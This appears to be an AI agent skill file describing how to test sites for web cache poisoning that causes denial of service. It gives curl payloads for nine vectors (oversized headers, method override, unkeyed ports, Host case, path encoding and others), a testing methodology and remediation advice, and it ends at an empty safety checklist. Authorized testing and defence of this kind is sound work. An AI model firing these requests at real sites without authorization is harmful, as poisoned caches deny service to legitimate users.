| name | cache-poisoning-dos |
| description | How to test for web cache poisoning vulnerabilities that can lead to denial of service. Use this skill whenever the user mentions cache servers, CDNs, DoS attacks, web server vulnerabilities, HTTP headers, Cloudflare, or any scenario where they want to test if error responses can be cached and served to legitimate users. This includes testing for header-based attacks, method override vulnerabilities, and cache key manipulation. |
Cache Poisoning to DoS Testing
This skill helps you test for cache poisoning vulnerabilities where error responses from web servers get cached by upstream cache servers (CDNs, reverse proxies) and served to legitimate users, causing denial of service.
⚠️ Authorization Required
Only perform these tests on systems you own or have explicit written authorization to test. Unauthorized testing is illegal and unethical.
Understanding the Attack
Cache poisoning to DoS works by:
- Sending a request that the cache server considers valid and caches
- The web server behind the cache responds with an error (400, 403, 404, 414, etc.)
- The cache stores this error response
- Legitimate users receive the cached error instead of the actual content
Attack Vectors
1. HTTP Header Oversize (HHO)
Send a request with a header larger than the web server supports but smaller than the cache server supports.
Test approach:
- Start with a normal request
- Gradually increase header size
- Watch for 400 Bad Request responses that get cached
Example:
curl -H "X-Oversize-Header:$(python3 -c 'print("A"*10000)')" https://target.com/
What to look for:
- 400 Bad Request from web server
- Cache headers indicating the response was cached (e.g.,
CF-Cache-Status: HIT)
2. HTTP Meta Characters (HMC)
Send headers containing special characters that the web server rejects but the cache accepts.
Test approach:
- Try headers with
\n, \r, :, or other special characters
- Test unexpected header values
Examples:
curl -H "X-Meta-Header:Bad Chars\n\r" https://target.com/
curl -H "Content-Type: HelloWorld" https://target.com/
curl -H "X-Bad:\:" https://target.com/
3. Unkeyed Headers
Some headers aren't included in the cache key but trigger errors on the web server.
Common problematic headers:
X-Amz-Website-Location-Redirect
X-Forwarded-Host
X-Original-URL
- Custom headers specific to the application
Test approach:
curl -H "X-Amz-Website-Location-Redirect: something" https://target.com/
What to look for:
- 403 Forbidden or similar error
- Cache hit status in response headers
4. HTTP Method Override (HMO)
If the server supports method override headers, you can trick it into processing a request as a different method.
Test approach:
curl -H "X-HTTP-Method-Override: POST" https://target.com/valid-page
curl -H "X-HTTP-Method: DELETE" https://target.com/valid-page
curl -H "X-Method-Override: PUT" https://target.com/valid-page
What to look for:
- 405 Method Not Allowed or similar
- Response gets cached despite being an error
5. Unkeyed Port
If the port in the Host header isn't part of the cache key but gets reflected in responses.
Test approach:
curl -H "Host: target.com:1" https://target.com/
curl -H "Host: target.com:9999" https://target.com/
What to look for:
- 301/302 redirects to the unusual port
- Cache miss on first request, then cache hit on subsequent requests
6. Long Redirect DoS
Exploit uncached query parameters to create redirect loops or oversized URLs.
Test approach:
curl "https://target.com/login?x=$(python3 -c 'print("A"*10000)')"
What to look for:
- 301/302 redirect that includes the long parameter
- 414 Request-URI Too Large on the redirected URL
- The error gets cached for users without the parameter
7. Host Header Case Normalization
Some servers expect lowercase host headers but caches treat them as case-insensitive.
Test approach:
curl -H "Host: Target.com" https://target.com/
curl -H "Host: TARGET.COM" https://target.com/
curl -H "Host: TaRgEt.CoM" https://target.com/
What to look for:
- 404 Not Found or similar error
- Cache hit on subsequent requests with normal case
8. Path Normalization
Exploit differences in URL encoding between cache and web server.
Test approach:
curl "https://target.com/api/v1%2e1/user"
curl "https://target.com/api/v1%252e1/user"
curl "https://target.com/api%2Fv1/user"
What to look for:
- 404 Not Found
- Cache stores the decoded version
9. Fat GET (GET with Body)
Some caches and servers reject GET requests with bodies.
Test approach:
curl -X GET --data "xyz" -H "Content-Length: 3" https://target.com/
What to look for:
- 403 Forbidden or 400 Bad Request
- Response gets cached
Testing Methodology
Step 1: Reconnaissance
-
Identify the cache layer:
- Look for cache headers (
CF-Cache-Status, X-Cache, Age, Via)
- Check for CDN indicators in response headers
-
Map cache behavior:
- Test which responses get cached (status codes, content types)
- Identify cache key components (headers, query params, path)
Step 2: Baseline Testing
curl -v https://target.com/ | grep -i cache
Step 3: Attack Testing
Use the cache-poisoning-test.sh script to systematically test each vector:
./cache-poisoning-test.sh https://target.com
Step 4: Verification
For each potential vulnerability:
- Send the malicious request
- Verify the error response was cached (check cache headers)
- Send a normal request and verify you get the cached error
- Document the exact request/response pair
Step 5: Impact Assessment
- Can this affect all users or just some?
- How long does the poisoned cache last (TTL)?
- What's the business impact (login pages, checkout, etc.)?
Reporting Findings
When documenting cache poisoning vulnerabilities:
- Include the exact request that triggers the vulnerability
- Show the cached error response with cache headers
- Demonstrate the impact - show a normal user getting the error
- Provide remediation - see below
Remediation Recommendations
For Cache Operators:
- Don't cache error responses - Configure cache to bypass on 4xx/5xx
- Include all headers in cache key - Or explicitly exclude dangerous ones
- Validate headers before caching - Reject malformed requests at cache layer
- Use short TTLs for dynamic content - Limit exposure window
For Web Server Operators:
- Normalize headers consistently - Same behavior as cache layer
- Return 400 for malformed requests - Don't let them reach cache
- Avoid reflecting user input in responses - Especially in redirects
- Implement proper cache control - Use
no-store for sensitive endpoints
Tools and Scripts
Use the bundled scripts to automate testing:
cache-poisoning-test.sh - Run all attack vectors against a target
analyze-cache-headers.py - Parse and analyze cache-related headers
References
Safety Checklist
Before testing: